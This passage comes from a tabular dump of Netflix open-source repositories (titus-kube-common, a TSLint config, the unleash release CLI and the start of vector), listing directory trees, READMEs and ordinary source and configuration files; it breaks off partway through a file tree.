| {".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n", "gradle\\wrapper\\gradle-wrapper.properties": "#Thu May 31 12:45:36 PDT 2018\ndistributionBase=GRADLE_USER_HOME\ndistributionPath=wrapper/dists\nzipStoreBase=GRADLE_USER_HOME\nzipStorePath=wrapper/dists\ndistributionUrl=https\\://services.gradle.org/distributions/gradle-6.9-all.zip\n"} | null |
titus-kube-common | {"type": "directory", "name": "titus-kube-common", "children": [{"type": "directory", "name": ".circleci", "children": [{"type": "file", "name": "config.yml"}]}, {"type": "directory", "name": ".vscode", "children": [{"type": "file", "name": "extension.json"}]}, {"type": "directory", "name": "configmap", "children": [{"type": "file", "name": "dynamic.go"}, {"type": "file", "name": "dynamic_test.go"}, {"type": "file", "name": "http_endpoint.go"}, {"type": "file", "name": "http_endpoint_test.go"}, {"type": "file", "name": "value_parser.go"}, {"type": "file", "name": "value_parser_test.go"}]}, {"type": "directory", "name": "controllerruntime", "children": [{"type": "file", "name": "dynamicconfigmap.go"}]}, {"type": "directory", "name": "docs", "children": [{"type": "directory", "name": "examples", "children": [{"type": "file", "name": "complete-pod.yaml"}]}]}, {"type": "file", "name": "go.mod"}, {"type": "file", "name": "go.sum"}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "main.go"}, {"type": "file", "name": "Makefile"}, {"type": "directory", "name": "node", "children": [{"type": "file", "name": "annotations.go"}, {"type": "file", "name": "labels.go"}, {"type": "file", "name": "taints.go"}]}, {"type": "file", "name": "OSSMETADATA"}, {"type": "directory", "name": "pod", "children": [{"type": "file", "name": "annotations.go"}, {"type": "file", "name": "annotations_test.go"}, {"type": "file", "name": "config.go"}, {"type": "file", "name": "config_test.go"}, {"type": "file", "name": "containers.go"}, {"type": "file", "name": "labels.go"}, {"type": "file", "name": "misc.go"}]}, {"type": "file", "name": "README.md"}, {"type": "directory", "name": "resource", "children": [{"type": "file", "name": "resources.go"}]}, {"type": "directory", "name": "resourcepool", "children": [{"type": "file", "name": "resourcepool.go"}]}, {"type": "file", "name": "upgrade-k8s.sh"}]} | # titus-kube-common: shared Kubernetes components
[![CircleCI](https://circleci.com/gh/Netflix/titus-kube-common/tree/master.svg?style=svg)](https://circleci.com/gh/Netflix/titus-kube-common/tree/master)
Shared kubernetes code and constants to avoid copying and pasting.
## Releasing
```bash
git tag -a v0.1.0 -m "Add feature foo"
git push --follow-tags
```
| {"main.go": "package main\n\nimport (\n\t_ \"github.com/Netflix/titus-kube-common/node\"\n\t_ \"github.com/Netflix/titus-kube-common/pod\"\n\t_ \"github.com/Netflix/titus-kube-common/resource\"\n)\n\nfunc main() {\n}\n", ".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n"} | null |
tslint-config-netflix | {"type": "directory", "name": "tslint-config-netflix", "children": [{"type": "file", "name": "index.js"}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "OSSMETADATA"}, {"type": "file", "name": "package.json"}, {"type": "file", "name": "README.md"}, {"type": "file", "name": "yarn.lock"}]} | # TSLint Config Netflix
[![NetflixOSS Lifecycle](https://img.shields.io/osslifecycle/Netflix/tslint-config-netflix.svg)]()
Shared [TSLint configuration](https://palantir.github.io/tslint/usage/configuration/) for TypeScript at Netflix
Details of the rules are listed [here](https://palantir.github.io/tslint/rules/).
## Installation
```sh
npm install @netflix/tslint-config --save-dev # npm
yarn add -D @netflix/tslint-config # alternatively, using yarn
```
## Usage
In `tslint.json`:
```json
{
"extends": "@netflix/tslint-config"
}
```
### You can also add your own [configurations and rules](https://palantir.github.io/tslint/2016/03/31/sharable-configurations-rules.html)
```json
{
"extends": ["@netflix/tslint-config", "tslint-config-prettier"],
"rules": {
"no-any": true
}
}
``` | {"index.js": "module.exports = {\n rules: {\n 'align': [true, 'parameters', 'statements'],\n 'arrow-return-shorthand': true,\n 'curly': true,\n 'max-line-length': [true, 120],\n 'new-parens': true,\n 'no-arg': true,\n 'no-bitwise': true,\n 'no-conditional-assignment': true,\n 'no-duplicate-imports': true,\n 'no-internal-module': true,\n 'no-inferrable-types': true,\n 'no-parameter-reassignment': true,\n 'no-string-literal': true,\n 'no-trailing-whitespace': true,\n 'no-var-keyword': true,\n 'no-unnecessary-initializer': true,\n 'ordered-imports': [\n true,\n {\n 'grouped-imports': true,\n 'import-sources-order': 'any',\n 'named-imports-order': 'any'\n }\n ],\n 'prefer-const': true,\n 'quotemark': [true, 'single', 'jsx-double'],\n 'trailing-comma': [true, {'multiline': 'always', 'singleline': 'never'}],\n 'triple-equals': [true, 'allow-null-check'],\n 'whitespace': [\n true,\n 'check-branch',\n 'check-decl',\n 'check-module',\n 'check-operator',\n 'check-separator',\n 'check-type',\n 'check-typecast',\n 'check-type-operator',\n 'check-rest-spread'\n ]\n }\n}\n", "package.json": "{\n \"name\": \"@netflix/tslint-config\",\n \"version\": \"1.0.0\",\n \"description\": \"Netflix TSLint configuration\",\n \"main\": \"index.js\",\n \"repository\": \"git+https://github.com/Netflix/tslint-config-netflix.git\",\n \"keywords\": [\n \"tslint\",\n \"typescript\"\n ],\n \"author\": \"Kaylie Kwon <[email protected]>\",\n \"license\": \"Apache-2.0\",\n \"bugs\": {\n \"url\": \"https://github.com/Netflix/tslint-config-netflix/issues\"\n },\n \"homepage\": \"https://github.com/Netflix/tslint-config-netflix#readme\",\n \"devDependencies\": {\n \"tslint\": \"^5.11.0\",\n \"typescript\": \"^3.0.3\"\n }\n}\n", ".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n"} | null |
unleash | {"type": "directory", "name": "unleash", "children": [{"type": "file", "name": ".eslintrc"}, {"type": "file", "name": ".jscsrc"}, {"type": "file", "name": ".npmignore"}, {"type": "file", "name": ".tern-project"}, {"type": "file", "name": ".travis.yml"}, {"type": "file", "name": "CHANGELOG.md"}, {"type": "file", "name": "esdoc.json"}, {"type": "file", "name": "index.js"}, {"type": "directory", "name": "lib", "children": [{"type": "file", "name": "changelog.js"}, {"type": "file", "name": "deploy.js"}, {"type": "file", "name": "gh-pages.js"}, {"type": "file", "name": "git.js"}, {"type": "file", "name": "ls.js"}]}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "OSSMETADATA"}, {"type": "file", "name": "package.json"}, {"type": "file", "name": "README.md"}, {"type": "file", "name": "roadmap.md"}, {"type": "directory", "name": "screens", "children": []}, {"type": "directory", "name": "tests", "children": [{"type": "file", "name": "node-4-shims.js"}, {"type": "file", "name": "single-runner.js"}, {"type": "directory", "name": "specs", "children": [{"type": "file", "name": "changelog.js"}, {"type": "file", "name": "dry-run.js"}, {"type": "file", "name": "index.js"}]}]}]} | ![Bad Release](https://cloud.githubusercontent.com/assets/77849/16959116/498ef28a-4d98-11e6-8d99-6fb08aa1d1c4.gif)
## Professionally publish your JavaScript modules in one keystroke
### Key Features
* Updates your version according to semantic versioning
* Runs your tests or any other prepublish scripts you've defined in package.json
* Updates your changelog according to the conventional changelog spec
* Publishes your module to NPM (optionally turned off via `--no-publish`)
* Pushes your code and tags to git (optionally turned off via `--no-push`)
* Supports changelog links for both Github & Bitbucket Enterprise (formerly Stash)
* Automatically recovers from errors by safely resetting to the git state prior to running unleash
* Features a "dry run" mode for most commands that will allow you to preview what change unleash will make before it makes them
* Allows you to preview what files will and won't be published to NPM (`--list-publishables`)
* Works w/ Node versions all the way back to 4.8.5
### Convince your manager (Why use Unleash?)
* Unleash eats its own dogfood. Unleash is used to release itself
* Unleash eliminates common time-wasting / colleague-confusing mistakes such as forgetting to tag your releases, update your changelog or forgetting to publish your module)
* Unleash encourages use of software comprehension conventions such as the CHANGELOG by making it dead easy
* Unleash encourages you to make git commit messages that make sense to everyone in your organization
* Unleash is constructed from battle-tested and well-understood open source modules such as npm, vinyl-fs, yargs, chalk & semver. Additionally, the architecture of Unleash is partially based on Gulp
* Unleash uses the [Angular Conventional Changelog](https://github.com/ajoslin/conventional-changelog/blob/9c359faacea93b566f19c4c7214a6bca58edf99f/conventions/angular.md) manner of using git commit conventions
* Unleash takes inter-organizational compatibility seriously—most any version of Node being used by a team will work with Unleash
### CLI Examples
#### Execute a Dry Run of Publishing a Patch Release
```
unleash -p -d
```
OR...
```
unleash --patch --dry-run
```
![](https://raw.githubusercontent.com/jameswomack/unleash/bd4eeedb742dc099a8545879924c270b915deb5b/screens/dry-run.png)
#### Execute a Patch Release
```
unleash -p
```
OR...
```
unleash --patch
```
![](https://raw.githubusercontent.com/jameswomack/unleash/683c4cea7a0ed58d733b51cf20a15bdf9fb563c4/screens/run.png)
#### Execute a Major Release
```
unleash -M
```
OR...
```
unleash --major
```
#### Execute a Major Package Version Increment w/o Publishing to NPM
```
unleash -M --no-publish
```
#### Execute a Major NPM Release w/o Pushing to git
```
unleash -M --no-push
```
#### Execute a Minor Release to a Bitbucket Enterprise Repository
```
unleash -m -r bitbucket
```
OR...
```
unleash --minor --repo-type bitbucket
```
#### View which files will be published to NPM
This can be helpful in ensuring your package is being published with the least
amount of files possible, while also ensuring you have all the files you need.
We use this to eliminate files like .eslintrc and .tern-project.
```
unleash -ls
```
OR...
```
unleash --list-publishables
```
#### Publish your project's documentation to Github Pages
Manually leveraging Github's Pages feature can be tedious. You need to maintain
a branch that's orphaned from master and yet is based on assets and/or tasks
from master. Unleash can help by allowing you to publish files matching a quoted
glob string to gh-pages from the comfort of the branch you normally work on.
```
unleash --gh
# defaults to "./docs/**/*"
```
OR...
```
unleash --ghpages-deploy --ghpages-path "./public/**/*"
```
### Git Commit Convention [Examples](https://github.com/ajoslin/conventional-changelog/blob/9c359faacea93b566f19c4c7214a6bca58edf99f/conventions/angular.md)
```
perf(pencil): remove graphiteWidth option
fix(graphite): stop graphite breaking when width < 0.1
feat(pencil): add 'graphiteWidth' option
```
### Installation
```
# Global w/ latest stable release
npm i unleash -g
```
OR...
```
# Locally saved w/ exact version
npm i unleash -DE
```
### Supported Version Types
* Major **-M** | **--major**
* E.g. `"2.6.4"` => `"3.0.0"`
* Minor **-m** | **--minor**
* E.g. `"2.6.4"` => `"2.7.0"`
* Patch **-p** | **--patch**
* E.g. `"2.6.4"` => `"2.6.5"`
* Prerelease **-P** | **--prerelease**
* E.g. `"2.6.4-beta.0"` => `"2.6.4-beta.1"`
### Badge-o-rama
![Travis badge](https://travis-ci.org/Netflix/unleash.svg)
<img src="https://c2.staticflickr.com/4/3738/11674920374_34acde064b_b.jpg" width="400">
| {"index.js": "#!/usr/bin/env node\n\n'use strict' // force block-scoping w/ Node < 6\n\n/* Trick in-publish into thinking we're the NPM CLI running publish */\nprocess.env.npm_config_argv = JSON.stringify({ cooked : [ 'publish' ] })\n\nconst\n ChildProcess = require('child_process'),\n Undertaker = require('undertaker'),\n colors = require('chalk'),\n fancyLog = require('fancy-log'),\n git = require('gulp-git'),\n merge = require('lodash.merge'),\n values = require('object-values'),\n vinylFS = require('vinyl-fs'),\n ghPages = require('./lib/gh-pages'),\n writeChangelog = require('./lib/changelog'),\n Deploy = require('./lib/deploy'),\n ls = require('./lib/ls')\n\n// Module-level CLI globals\nlet\n isDryRun = false,\n ghp\n\nconst\n CHANGELOG_COMMIT = 'changelog:commit',\n GH_PAGES_DEPLOY = 'ghpages:deploy',\n CHANGELOG_WRITE = 'changelog:write',\n DRY_RUN_SHORT_FLAG = 'd',\n DRY_RUN = 'dry-run',\n DRY_RUN_LONG_FLAG = DRY_RUN\n\nconst VersionFlagMap = {\n m : 'minor',\n M : 'major',\n p : 'patch',\n P : 'prerelease'\n}\n\nfunction join (a, b) {\n return a + ':' + b\n}\n\nfunction bumperize (bumpType) {\n return join('bump', bumpType)\n}\n\nconst shortVersionFlags = Object.keys(VersionFlagMap)\nconst longVersionFlags = values(VersionFlagMap)\nconst versionTypes = longVersionFlags\nconst taskManager = new Undertaker\n\nconst REF_SHA_CMD = 'git rev-parse --verify HEAD'\nconst CURRENT_SHA = ChildProcess.execSync(REF_SHA_CMD)\n .toString().replace('\\n','')\nconst PKG_STS_CMD = 'git status package.json -s'\nconst PKG_STATUS = ChildProcess.execSync(PKG_STS_CMD)\n .toString().replace('\\n','').trim() \nconst CL_STS_CMD = 'git status CHANGELOG.md -s'\nconst CL_STATUS = ChildProcess.execSync(CL_STS_CMD)\n .toString().replace('\\n','').trim() \n\nconst unleash = shortVersionFlags.reduce(function (y, shortFlag) {\n return y.option(shortFlag, {\n alias: VersionFlagMap[shortFlag],\n describe: 'Alias for --type=' + VersionFlagMap[shortFlag],\n type: 'boolean'\n })\n}, require('yargs'))\n .option('type', {\n describe: 'The SemVer version type such as \"patch\" that you want to publish to NPM with',\n type: 'string'\n })\n .option('ls', {\n alias: 'l',\n describe: 'Prints the files and directories that will and won\\'t be published',\n type: 'boolean'\n })\n .option('repo-type', {\n alias: 'r',\n describe: 'The remote repository type, \"bitbucket\" or \"github\"',\n default: 'github',\n type: 'string'\n })\n .option('publish', {\n alias: 'pb',\n describe: 'Sets whether or not the package is published to NPM (negate with --no-publish)',\n default: true,\n type: 'boolean'\n })\n .option('push', {\n alias: 'ps',\n describe: 'Sets whether or not the package is pushed to a git remote (negate with --no-push)',\n default: true,\n type: 'boolean'\n })\n .option('ghpages-deploy', {\n alias: 'gh',\n describe: 'Deploy gh-pages',\n type: 'boolean'\n })\n .option('ghpages-path', {\n alias: 'ghp',\n describe: 'The glob path to deploy to gh-pages',\n default: './docs/**/*',\n type: 'string'\n })\n .alias(DRY_RUN_SHORT_FLAG, DRY_RUN_LONG_FLAG)\n .alias('list-publishables', 'ls')\n .help('h').alias('h', 'help')\n .argv\n\nunleash.CURRENT_SHA = CURRENT_SHA\nunleash.PKG_STATUS = PKG_STATUS\nunleash.CL_STATUS = CL_STATUS\n\nisDryRun = !!unleash.dryRun\n\nconst repoType = unleash.repoType\n\nif (unleash.gh) {\n ghp = unleash.ghp \n}\n\nconst taskManagerInternalsSentinel = Symbol('__internals__')\n\nconst taskInternals = taskManager[taskManagerInternalsSentinel] = {\n log : fancyLog\n}\n\n// Kray Kray McFadden ish to fake mutually exclusive arguments\n// See https://github.com/bcoe/yargs/issues/275\nshortVersionFlags.forEach(function (key) {\n if (unleash[key]) {\n if (unleash.type) {\n taskInternals.log(colors.yellow('=== UNLEASH ==='))\n const errorMessage = 'You\\'re confusing me! Please don\\'t pass more than one version type flag'\n taskInternals.log.error(colors.bgRed(colors.white(errorMessage)))\n process.exit(1)\n }\n\n unleash.type = VersionFlagMap[key]\n }\n})\n\nconst versionType = unleash.type\n\ntaskManager.task(CHANGELOG_WRITE, function (done) {\n const nextVersion = Deploy.getNextVersion(versionType)\n \n if (isDryRun === true) {\n taskInternals.log(\n '* Creating a changelog entry for version ' + nextVersion + ' with links to the commits on ' + repoType\n )\n return done()\n } else {\n taskInternals.log('Utilizing next version for changelog: ', colors.magenta(nextVersion))\n return writeChangelog({\n version : nextVersion,\n repoType : repoType\n }, done)\n }\n})\n\ntaskManager.task('ls', function () {\n return ls()\n})\n\ntaskManager.task(CHANGELOG_COMMIT, function (done) {\n const docsCommit = 'docs(CHANGELOG): Update changelog'\n\n if (isDryRun) {\n taskInternals.log('* Adding commit \"' + docsCommit + '\"')\n return done()\n } else {\n // TODO - allow configuration of this src?\n return vinylFS.src([ '*.md' ])\n .pipe(git.add())\n .pipe(git.commit(docsCommit))\n }\n})\n\ntaskManager.task(GH_PAGES_DEPLOY, function (done) {\n if (isDryRun) {\n taskInternals.log('* Pushing a gh-pages branch from the contents of \"' + ghp + '\"')\n return done ? done() : true\n } else {\n taskInternals.log('Deploying to gh-pages from ' + ghp)\n return vinylFS.src([ ghp ])\n .pipe(ghPages())\n }\n})\n\nfunction dryRunStartGh (done) {\n taskInternals.log('Utilizing ' + colors.magenta('dry run mode') + '. This is a dry run of the following actions:')\n return done()\n}\n\ntaskManager.task(join(GH_PAGES_DEPLOY, DRY_RUN), taskManager.series([\n dryRunStartGh,\n GH_PAGES_DEPLOY\n]))\n\n// bump:major, bump:minor, bump:patch\n; versionTypes.forEach(function (bumpType) {\n const options = { bumpType: bumpType },\n deployWithBump = Deploy.withBumpType.bind(Deploy, options),\n bumpTaskName = bumperize(bumpType)\n\n function noTrial () {\n return deployWithBump(merge({ dryRun : false }, unleash))\n }\n\n taskManager.task(bumpTaskName, taskManager.series([\n CHANGELOG_WRITE,\n CHANGELOG_COMMIT,\n noTrial\n ]))\n taskManager.task(join(CHANGELOG_WRITE, bumpType), taskManager.series([ CHANGELOG_WRITE ]))\n\n function dryRun () {\n return deployWithBump(merge({ dryRun : true }, unleash))\n }\n\n function dryRunStart (done) {\n const nextVersion = Deploy.getNextVersion(versionType)\n taskInternals.log('Utilizing ' + colors.magenta('dry run mode') + '. This is a dry run of the following actions:')\n taskInternals.log('* Incrementing to the next \"' + bumpType + '\" semantic version, \"' + nextVersion + '\"')\n\n return done()\n }\n\n return taskManager.task(join(bumpTaskName, DRY_RUN), taskManager.series([\n dryRunStart,\n CHANGELOG_WRITE,\n CHANGELOG_COMMIT,\n dryRun\n ]))\n})\n\n// Don't automatically run tasks based on argv unless we're run via a CLI\nif (!module.parent) {\n taskInternals.log(colors.yellow('=== UNLEASH ==='))\n\n const command = process.argv.slice(1).map(function (a) {\n return a.split('/').reverse()[0]\n }).join(' ')\n const wut = 'What did you want me to dry run?'\n const noType = 'Need a semantic version type homie...' \n const fakeBumpType = 'semantic-version-type-should-be-here'\n\n function logFlagCommand () {\n return taskInternals.log.error('Run \"unleash --help\" to discover available flags')\n }\n\n function logCorrectedCommand (flag) {\n return taskInternals.log.error(command + ' --' + colors.bgGreen(colors.white(flag)))\n }\n\n if (unleash.type) {\n if (unleash.ls)\n ls()\n\n if (unleash.gh) {\n const task = taskManager.task(GH_PAGES_DEPLOY)\n task()\n }\n\n let taskName = bumperize(unleash.type)\n\n if (isDryRun) \n taskName = join(taskName, DRY_RUN)\n\n const task = taskManager.task(taskName)\n task(unleash)\n } else if (unleash.ls) {\n const task = taskManager.task('ls')\n task()\n } else if (unleash.gh) {\n ghp = unleash.ghp \n const task = taskManager.task(isDryRun ? join(GH_PAGES_DEPLOY, DRY_RUN) : GH_PAGES_DEPLOY)\n task()\n } else if (!unleash.publish) {\n const errorMessage = colors.bgRed(colors.white(isDryRun ? wut : noType))\n\n taskInternals.log.error(errorMessage)\n logCorrectedCommand(fakeBumpType)\n logFlagCommand()\n } else if (!unleash.push) {\n const errorMessage = colors.bgRed(colors.white(isDryRun ? wut : noType))\n\n taskInternals.log.error(errorMessage)\n logCorrectedCommand(fakeBumpType)\n logFlagCommand()\n } else {\n const noTask = 'Need a task homie...' \n const errorMessage = colors.bgRed(colors.white(isDryRun ? wut : noTask))\n\n taskInternals.log.error(errorMessage)\n logCorrectedCommand('flag-name-should-be-here')\n logFlagCommand()\n }\n}\n\nmodule.exports = taskManager\nmodule.exports.taskManagerInternalsSentinel = taskManagerInternalsSentinel\n", "package.json": "{\n \"name\": \"unleash\",\n \"version\": \"2.0.1\",\n \"description\": \"Unleash your code into the wild yonder\",\n \"engines\": {\n \"node\": \">=6.17.0\"\n },\n \"config\": {\n \"lint\": \"./*.js ./lib/*.js --fix\",\n \"testunit\": \"./node_modules/.bin/tape tests/specs/*.js | tap-difflet\"\n },\n \"scripts\": {\n \"doc\": \"esdoc -c ./esdoc.json\",\n \"lint\": \"eslint $npm_package_config_lint && jscs $npm_package_config_lint\",\n \"report-deps\": \"npm-check\",\n \"prepublishOnly\": \"npm run test\",\n \"test:unit\": \"tape tests/specs/*.js | tap-difflet\",\n \"test\": \"npm run lint && npm run test:unit\",\n \"test:cover\": \"istanbul cover --dir=tests/coverage --report=html $npm_package_config_testunit && opn tests/coverage/index.html\",\n \"test:single\": \"tape tests/single-runner.js | tap-difflet\",\n \"clean\": \"git clean -d -f -x\"\n },\n \"repository\": {\n \"type\": \"git\",\n \"url\": \"https://github.com/netflix/unleash\"\n },\n \"bin\": {\n \"unleash\": \"./index.js\"\n },\n \"keywords\": [\n \"github\",\n \"release\",\n \"ship\",\n \"code\",\n \"release-it\",\n \"dry-run\",\n \"shipit\",\n \"releaseit\",\n \"ship\",\n \"git\",\n \"process\",\n \"tool\",\n \"npm\",\n \"deploy\",\n \"deployment\",\n \"publish\",\n \"push\",\n \"ghpages\",\n \"run\",\n \"tests\"\n ],\n \"author\": \"James Womack <[email protected]>\",\n \"license\": \"Apache-2.0\",\n \"dependencies\": {\n \"chalk\": \"1.1.1\",\n \"fancy-log\": \"1.3.0\",\n \"fstream-npm\": \"^1.2.1\",\n \"gift\": \"0.9.0\",\n \"glob\": \"7.0.3\",\n \"gulp-bump\": \"1.0.0\",\n \"gulp-filter\": \"3.0.1\",\n \"gulp-git\": \"2.3.2\",\n \"gulp-sourcemaps\": \"1.6.0\",\n \"gulp-tag-version\": \"github:ikari-pl/gulp-tag-version\",\n \"gulp-util\": \"3.0.7\",\n \"lodash.difference\": \"4.3.0\",\n \"lodash.merge\": \"3.3.2\",\n \"nf-conventional-changelog\": \"1.0.0\",\n \"npm\": \"^6.8.0\",\n \"object-values\": \"1.0.0\",\n \"paqman\": \"1.0.0\",\n \"readable-stream\": \"2.1.4\",\n \"rimraf\": \"2.5.4\",\n \"semver\": \"5.0.3\",\n \"undertaker\": \"1.1.0\",\n \"vinyl-fs\": \"2.4.3\",\n \"wrap-promise\": \"1.0.1\",\n \"yargs\": \"10.0.3\"\n },\n \"devDependencies\": {\n \"babel-eslint\": \"6.1.2\",\n \"esdoc\": \"0.4.8\",\n \"esdoc-es7-plugin\": \"0.0.3\",\n \"eslint\": \"3.1.1\",\n \"eslint-config-netflix\": \"1.0.0-alpha.2\",\n \"istanbul\": \"0.4.5\",\n \"jscs\": \"3.0.7\",\n \"npm-check\": \"^5.9.0\",\n \"opn-cli\": \"3.1.0\",\n \"tap-difflet\": \"^0.7.1\",\n \"tape\": \"^4.10.1\"\n }\n}\n", ".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n", "tests\\specs\\index.js": "'use strict' // force block-scoping w/ Node < 6\n\nconst includes = require('../node-4-shims').includes\nconst spec = require('tape')\nconst unleashTaskManager = require('../../')\n\nconst SemVerIncrementTypes = [\n 'major', 'minor', 'patch', 'prerelease'\n]\n\nconst taskNames = Object.keys(unleashTaskManager._registry._tasks)\n\nspec('The Unleash task manager', specOptions => {\n const test = specOptions.test\n const endSpec = specOptions.end\n\n test('Has a task function (well it inherits from Undertaker)', testOptions => {\n const equal = testOptions.equal\n const endTest = testOptions.end\n\n equal(typeof unleashTaskManager.task, 'function')\n endTest()\n })\n\n test('Has the expected number of tasks', testOptions => {\n const equal = testOptions.equal\n const endTest = testOptions.end\n\n equal(taskNames.length, 17)\n endTest()\n })\n\n test('Has the expected number of dry run tasks', testOptions => {\n const equal = testOptions.equal\n const endTest = testOptions.end\n\n const dryRunTaskNames = taskNames.filter(n => includes.call(n, 'dry-run'))\n equal(dryRunTaskNames.length, 5)\n endTest()\n })\n\n test('Has changelog write tasks for each semver type', testOptions => {\n const equal = testOptions.equal\n const endTest = testOptions.end\n\n const changelogWritePrefix = 'changelog:write:'\n const changelogWriteTaskNames = taskNames.filter(n => includes.call(n, changelogWritePrefix))\n equal(changelogWriteTaskNames.length, SemVerIncrementTypes.length)\n SemVerIncrementTypes.forEach(t => equal(includes.call(changelogWriteTaskNames, `${changelogWritePrefix}${t}`), true))\n endTest()\n })\n\n test('Has a ghpages dry run task', testOptions => {\n const equal = testOptions.equal\n const endTest = testOptions.end\n\n equal(typeof unleashTaskManager._registry._tasks['ghpages:deploy:dry-run'], 'function')\n endTest()\n })\n\n test('Has an ls task', testOptions => {\n const equal = testOptions.equal\n const endTest = testOptions.end\n\n equal(typeof unleashTaskManager.task('ls'), 'function')\n endTest()\n })\n\n endSpec()\n})\n"} | null |
vector | {"type": "directory", "name": "vector", "children": [{"type": "file", "name": ".dockerignore"}, {"type": "file", "name": ".editorconfig"}, {"type": "file", "name": ".eslintrc"}, {"type": "file", "name": ".nvmrc"}, {"type": "file", "name": ".travis.yml"}, {"type": "file", "name": ".yo-rc.json"}, {"type": "file", "name": "bs-config.json"}, {"type": "file", "name": "CHANGELOG.md"}, {"type": "file", "name": "Dockerfile"}, {"type": "directory", "name": "e2e", "children": [{"type": "file", "name": ".eslintrc"}, {"type": "file", "name": "main.po.js"}]}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "OSSMETADATA"}, {"type": "file", "name": "package-lock.json"}, {"type": "file", "name": "package.json"}, {"type": "file", "name": "README.md"}, {"type": "directory", "name": "scripts", "children": [{"type": "file", "name": "pushToDockerhub.sh"}]}, {"type": "file", "name": "shell.nix"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "app", "children": [{"type": "file", "name": "App.jsx"}, {"type": "directory", "name": "bundles", "children": [{"type": "file", "name": "index.js"}]}, {"type": "directory", "name": "charts", "children": [{"type": "file", "name": "bcc.js"}, {"type": "file", "name": "container.js"}, {"type": "file", "name": "cpu.js"}, {"type": "file", "name": "custom.js"}, {"type": "file", "name": "disk.js"}, {"type": "file", "name": "flamegraphs.js"}, {"type": "file", "name": "index.js"}, {"type": "file", "name": "memory.js"}, {"type": "file", "name": "networkNetwork.js"}, {"type": "file", "name": "networkTcp.js"}]}, {"type": "directory", "name": "components", "children": [{"type": "directory", "name": "Charts", "children": [{"type": "file", "name": "Chart.jsx"}, {"type": "file", "name": "ChartTooltip.jsx"}, {"type": "file", "name": "cividis.js"}, {"type": "file", "name": "Flamegraph.jsx"}, {"type": "file", "name": "Heatmap.jsx"}, {"type": "file", "name": "HeatmapScale.jsx"}, {"type": "file", "name": "HeatmapTooltip.jsx"}, {"type": "file", "name": "MultiTable.jsx"}, {"type": "file", "name": "MultiTable.spec.js"}, {"type": "file", "name": "SimpleTable.jsx"}, {"type": "file", "name": "TextLabel.jsx"}]}, {"type": "directory", "name": "ConfigPanel", "children": [{"type": "file", "name": "AddContextModal.jsx"}, {"type": "file", "name": "ChartSelector.jsx"}, {"type": "file", "name": "ConfigPanel.jsx"}, {"type": "file", "name": "ContextMenu.jsx"}, {"type": "file", "name": "ContextMenuItem.jsx"}, {"type": "file", "name": "CustomChartSelector.jsx"}, {"type": "file", "name": "CustomChartSelector.spec.jsx"}, {"type": "file", "name": "DashboardController.jsx"}, {"type": "file", "name": "SimpleChartRow.jsx"}, {"type": 